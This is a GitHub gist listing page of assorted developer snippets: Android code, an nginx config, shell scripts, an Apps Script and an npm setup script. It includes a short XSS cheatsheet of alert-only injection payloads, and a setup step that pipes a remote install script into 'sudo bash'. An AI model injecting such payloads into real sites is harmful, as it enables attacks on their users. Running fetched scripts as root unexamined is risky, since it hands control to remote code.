Skip to content

Instantly share code, notes, and snippets.

@TomTasche
TomTasche / AndroidManifest.xml
Last active Feb 9, 2021
OAuth flow using the AccountManager on Android
View AndroidManifest.xml
<!-- ... -->
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.USE_CREDENTIALS" />
<!-- ... -->
@TomTasche
TomTasche / nginx.conf
Last active Feb 1, 2021
config for nginx to proxy a specific path to an S3 bucket
View nginx.conf
# copied from default config
user nginx;
worker_processes 1;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
View xss-cheatsheet
depending on your specific scenario you might want to try to inject one of those:
<img onerror="window.alert('hey')" src="bla"/>
<svg><script>alert&#40/hey/.source&#41</script></svg>
<img onerror="window.onerror=alert;throw 'hey'" src="bla"/>
<script>window.onerror=alert;throw "hey";</script>
inspiration:
@TomTasche
TomTasche / feedback_android.java
Created Oct 21, 2012
Use built-in feedback mechanism on Android
View feedback_android.java
// more information here: http://blog.tomtasche.at/2012/10/use-built-in-feedback-mechanism-on.html
try {
int i = 3 / 0;
} catch (Exception e) {
ApplicationErrorReport report = new ApplicationErrorReport();
report.packageName = report.processName = getApplication()
.getPackageName();
report.time = System.currentTimeMillis();
report.type = ApplicationErrorReport.TYPE_CRASH;
@TomTasche
TomTasche / JUrlExpander.java
Created Jul 25, 2011
How To: Expand a shortened URL in Java
View JUrlExpander.java
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
/**
* http://blog.tomtasche.at/2011/07/how-to-expand-shortened-url-in-java.html
*
* @author Thomas Taschauer
*
@TomTasche
TomTasche / ndk-gdb-remote
Last active May 8, 2018
ndk-gdb of NDK r9d modified to *always* debug the ":remote"-process of your app
View ndk-gdb-remote
#!/bin/sh
#
# Copyright (C) 2010 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
View appsscript.js
function main() {
findSharedDocuments("tomtasche@gmail.com");
}
function findSharedDocuments(email) {
var files = DriveApp.searchFiles('("' + email + '" in readers OR "' + email + '" in writers) AND NOT ("' + email + '" in owners)');
var success = 0;
while (files.hasNext()) {
var file = files.next();
try {
@TomTasche
TomTasche / test.sh
Created Oct 19, 2017
generate random file, send to server and print time
View test.sh
#!/bin/bash
echo "time_total: %{time_total}\n" > curl_format.txt
dd if=/dev/urandom of=data.txt bs=100K count=1
while true; do curl -X POST -w "@curl_format.txt" -d @data.txt -s https://requestb.in/1j4ph411; done;
@TomTasche
TomTasche / create_apple_rule.sh
Last active Jun 20, 2017
do not automatically mount apple devices in ubuntu (fix for mounting iphone in mac-guest in vmware)
View create_apple_rule.sh
# if you're running mac osx inside a vmware virtual machine, mounting an iphone into it can be cumbersome because ubuntu always claims the device for itself.
# sometimes it still works to mount it into the vm, but most of the time it doesn't.
# to fix that we simply never mount apple-devices on our ubuntu host, so that vmware is able to claim them for the guest.
# this ignores all apple usb-devices on your ubuntu host!
echo 'ATTRS{idVendor}=="05ac", ENV{UDISKS_IGNORE}="1"' | sudo tee /etc/udev/rules.d/100-local.rules
sudo udevadm control --reload-rules && sudo udevadm trigger
View npm_setup.sh
#!/bin/bash
# install node
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt-get install git nodejs --yes
# fix npm permissions: https://docs.npmjs.com/getting-started/fixing-npm-permissions
mkdir ~/.npm-global
npm config set prefix '~/.npm-global'
echo "export PATH=~/.npm-global/bin:\$PATH" >> ~/.profile